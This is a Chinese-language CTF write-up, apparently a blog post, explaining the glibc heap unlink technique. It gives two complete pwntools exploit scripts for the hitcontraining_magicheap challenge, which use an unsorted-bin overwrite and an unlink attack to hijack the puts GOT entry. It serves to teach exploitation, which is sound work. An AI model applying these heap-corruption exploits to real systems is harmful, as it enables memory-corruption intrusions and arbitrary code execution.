Unlink

0x00 原理

unlink,简称脱链,就是直接将链表头处的free堆块unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前或向后合并),再放入到unsorted bin中。

危害原理:通过伪造的free状态的fake_chunk,伪造fd指针和bk指针,通过绕过unlink的检测来实现unlink,unlink就会往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。

漏洞产生的原因:offbynull、offbyone、堆溢出、修改了堆块的使用标志位

/*malloc.c int_free函数中*/

/*这里p指向当前malloc_chunk结构体*/

if(!prev_inuse(p)){
    prevsize = p->prev_size;
    size += prevsize;
    //修改指向当前chunk的指针,指向前一个chunk
    p = chunk_at_offset(p,-((long)prevsize));
    unlink(p,bck,fwd);
}

/*unlink操作的实质是:将p所指向的chunk从双向链表中移除,这里BK和FD用作临时变量*/
define unlink(P,BK,FD){
	FD = P->fd;
	BK = P->bk;
	if(__builtin_expect(FD->bk!=P || BK->fd!=P,0))
        malloc_printerr(check_action,"corrupted double-linked list",P,AV);
	FD->bk = BK;
	BK->fd = FD;
	...
}

0x01 绕过和利用

1、伪造如下:
chunk = 0x0602280(P是将要合并到的堆地址,P存在于chunk中,相当于*chunk=P)
P_fd = chunk-0x18 = 0x602268
P_bk = chunk-0x10 = 0x602270

2、绕过技巧
define unlink(P,BK,FD){
	FD = P->fd;  \\FD = 0x602268
	BK = P->bk;  \\BK = 0x602270
	if(__builtin_expect(FD->bk!=P || BK->fd!=P,0)) 
        \\FD->bk = *(0x602268+0x18)|*(0x602280) = P
        \\BK->fd = *(0x602270+0x10)|*(0x602280) = P,绕过!
        malloc_printerr(check_action,"corrupted double-linked list",P,AV);
	FD->bk = BK;  \\ *(0x602268+0x18)|*(0x602280) = 0x602270
	BK->fd = FD;  \\ *(0x602270+0x10)|*(0x602280) = 0x602268
	...
}
最终效果就是往chunk里面写入了chunk-0x18的值。
利用方法:首先edit堆的时候,将chunk的值修改为puts函数地址;第二次edit的时候,
由于chunk的值已经修改为puts函数的地址,那么我们再对chunk进行修改就相当于对puts函数
对应的地址进行修改,后面会有例题。

0x02 实战

题目来源:BUU hitcontraining_magicheap

首先放入ida中,进行反编译,得到一个典型的菜单题:

main():

create_heap:

edit_heap():

delete_heap():

l33t():

1、Method 1

由main函数可知,要使程序运行l33t函数,那么我就需要保证输入的值为4869,并且magic的值要大于0x1305,第一种办法就是修改magic的值,我们首先创建三个堆块,然后释放chunk1,同时chunk的堆块大小为0x91(包括prev_size+size),这样它可以加入到unsorted bin中,另外我们再通过edit chunk0来修改chunk1的bk指针为magic-0x10,从而使得我们再次申请chunk的时候,会分配给我们magic的地址,接着对chunk1进行edit即可修改magic的值,脚本如下所示:

from pwn import *
context.log_level = "debug"
p = process("1")
#p = remote("node5.buuoj.cn",29812)
def create_heap(size,content):
    p.recvuntil(b"choice :")
    p.send(b"1")
    p.recvuntil(b"Heap : ")
    p.send(str(size))
    p.recvuntil(b"heap:")
    p.send(content)

def edit_heap(index,size,content):
    p.recvuntil(b"choice :")
    p.send(b"2")
    p.recvuntil(b"Index :")
    p.send(str(index))
    p.recvuntil(b"Heap : ")
    p.send(str(size))
    p.recvuntil(b"heap : ")
    p.send(content)

def delete_heap(index):
    p.recvuntil(b"choice :")
    p.send(b"3")
    p.recvuntil(b"Index :")
    p.send(str(index))

magic_addr = 0x06020a0
create_heap(0x20,"aaaa")
create_heap(0x80,"bbbb")
create_heap(0x20,"cccc")
delete_heap(1)
edit_heap(0,0x40,b"a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10))
create_heap(0x80,"aaaa")
p.recvuntil(b"choice :")
p.sendline(b"4869")
#gdb.attach(p)
#pause()
p.interactive()

在本地打通结果如下:

2、Method 2

第二种方法使用unlink的知识来解决,我们首先通过ida得到heaparray的地址,即存放chunk的首地址,也为chunk0的地址,接下来申请三个堆块,并伪造一个chunk,我们将heaparray_addr-0x18和heaparray_addr-0x10写入fakechunk的fd和bk指针,同时将chunk1的prevsize修改为0x90,size修改为0xa0,表示前面一个堆块的大小为0x90,并且没有被使用,那么我们在delete chunk1的时候,会将fakechunk和chunk1进行合并,然后进行unlink,我接下来通过图片来进行详细说明,注意每次断点截图的地址不一样,但效果是一样的: 

在delete chunk1之前,我们的堆块如下所示:

接着查看heaparray的值:

此时,heaparray地址对应的值还没被修改为heaparray-0x18的地址,接着delete之后,得到的chunk分布如下所示:

ok,因为heaparray里面存放的是chunk的地址,那么我们接下来对chunk0进行edit,是不是就相当于对heaparray-0x18这个地址的值进行修改,那么我们是不是就可以覆盖到chunk0的地址,所以第一次进行edit的时候,就是要将chunk0的地址修改为puts函数的地址,payload1= p64(0)*3+p64(puts_got),然后第二次进行edit chunk0的时候,就相当于对puts_got表的地址进行修改,payload2=p64(l33t_addr),截图如下:

puts_got表地址已被修改为l33t函数的地址。

脚本如下所示:

from pwn import *
p = process("./1")
context.log_level = "debug"
elf = ELF("./1")
gdb.attach(p)
def create_heap(size,content):
    p.recvuntil(b"choice :")
    p.send(b"1")
    p.recvuntil(b"Heap : ")
    p.send(str(size))
    p.recvuntil(b"heap:")
    p.send(content)

def edit_heap(index,size,content):
    p.recvuntil(b"choice :")
    p.send(b"2")
    p.recvuntil(b"Index :")
    p.send(str(index))
    p.recvuntil(b"Heap : ")
    p.send(str(size))
    p.recvuntil(b"heap : ")
    p.send(content)

def delete_heap(index):
    p.recvuntil(b"choice :")
    p.send(b"3")
    p.recvuntil(b"Index :")
    p.send(str(index))

l33t_addr = 0x400c50
puts_got = elf.got["puts"]
heaparray_addr = 0x06020C0
create_heap(0x90,"aaaa")
create_heap(0x90,"bbbb")
create_heap(0x20,"cccc")
fakechunk = p64(0)+p64(0x91)+p64(heaparray_addr-0x18)+p64(heaparray_addr-0x10)
fakechunk = fakechunk.ljust(0x90,b"a")
fakechunk += p64(0x90)+p64(0xa0)
edit_heap(0,0xa0,fakechunk)
#pause()
delete_heap(1)
#pause()
edit_heap(0,0x20,p64(0)*3+p64(puts_got))
edit_heap(0,0x8,p64(l33t_addr))
#pause()
#delete_heap(0)
p.interactive()

  • 18
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值